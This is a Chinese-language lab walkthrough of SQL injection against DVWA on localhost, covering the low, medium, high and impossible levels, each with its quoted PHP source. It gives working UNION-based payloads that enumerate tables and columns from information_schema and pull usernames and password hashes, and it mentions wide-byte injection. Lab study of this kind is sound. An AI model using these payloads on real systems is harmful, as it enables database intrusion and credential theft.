1.初级篇 low.php
先看源码,取得的参数直接放到sql语句中执行
if( isset( $_REQUEST[ ‘Submit‘ ] ) ) { // Get input $id = $_REQUEST[ ‘id‘ ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘;";
http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#
直接加引号看报错,通过报错信息很容易的到使用单引号进行闭合
http://localhost/DVWA-master/vulnerabilities/sqli/?id=1‘&Submit=Submit#
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1‘‘‘ at line 1
使用order by猜字段数量
http://localhost/DVWA-master/vulnerabilities/sqli/?id=1‘ order by 3%23&Submit=Submit#
order by 2时页面正常
union select 查询user() database()
http://localhost/DVWA-master/vulnerabilities/sqli/?id=1‘ union select user(),database()%23&Submit=Submit#
查表名
http://localhost/DVWA-master/vulnerabilities/sqli/?id=0‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa‘%23&Submit=Submit#
查users表列名
http://localhost/DVWA-master/vulnerabilities/sqli/?id=0‘ union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘users‘%23&Submit=Submit#
查数据
http://localhost/DVWA-master/vulnerabilities/sqli/?id=0‘ union select user,password from dvwa.users limit 0,1%23&Submit=Submit#
解密可得
2.中级篇 Medium.php
看一下区别,id参数不再使用$_REQUEST获取了,并且使用了mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符。
if( isset( $_POST[ ‘Submit‘ ] ) ) { // Get input $id = $_POST[ ‘id‘ ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( ‘<pre>‘ . mysqli_error($GLOBALS["___mysqli_ston"]) . ‘</pre>‘ );
最直接的一点影响就是‘被转义成为了\‘,使得攻击者无法闭合引号而无法注入,
若MySQL客户端的编码为gbk时,就会产生宽字节注入。参照 http://netsecurity.51cto.com/art/201404/435074.htm 利用 https://www.cnblogs.com/superkrissV/p/8379690.html
若id参数为整型的时候,由于不需要闭合引号,一样可以正常注入,此处id为整型
SELECT first_name, last_name FROM users WHERE user_id = $id;
使用hackbar插件提交post数据,post形式下#不用编码成%23
id=0 union select 1,2#&Submit=Submit
和初级篇一样取数据
id=0 union select user,password from dvwa.users limit 0,1#&Submit=Submit
3.高级篇 High.php
id参数是从session中来获取的,由于session数据存储在服务器端,很多程序员会对来自客户端的数据进行严格校验,而服务端的数据则认定安全
if( isset( $_SESSION [ ‘id‘ ] ) ) { // Get input $id = $_SESSION[ ‘id‘ ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘ LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ‘<pre>Something went wrong.</pre>‘ );
点击弹出一个页面,对应的url
http://localhost/DVWA-master/vulnerabilities/sqli/session-input.php
审查源码
查看session-input.php源码,可以发现id参数没有经过任何处理直接传递到了session中
if( isset( $_POST[ ‘id‘ ] ) ) { $_SESSION[ ‘id‘ ] = $_POST[ ‘id‘ ]; //$page[ ‘body‘ ] .= "Session ID set!<br /><br /><br />"; $page[ ‘body‘ ] .= "Session ID: {$_SESSION[ ‘id‘ ]}<br /><br /><br />"; $page[ ‘body‘ ] .= "<script>window.opener.location.reload(true);</script>"; }
明白这些就可以进行注入了,注入的页面是session-input.php,显示结果的页面是index.php
http://localhost/DVWA-master/vulnerabilities/sqli/session-input.php
POST提交
id=0‘ union select user,password from dvwa.users#&Submit=Submit
刷新
http://localhost/DVWA-master/vulnerabilities/sqli/index.php
4.不可能篇 Impossible.php
查看源码,可以发现使用PDO技术来防止SQL注入,将id绑定为int
$id = $_GET[ ‘id‘ ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( ‘SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;‘ ); $data->bindParam( ‘:id‘, $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch();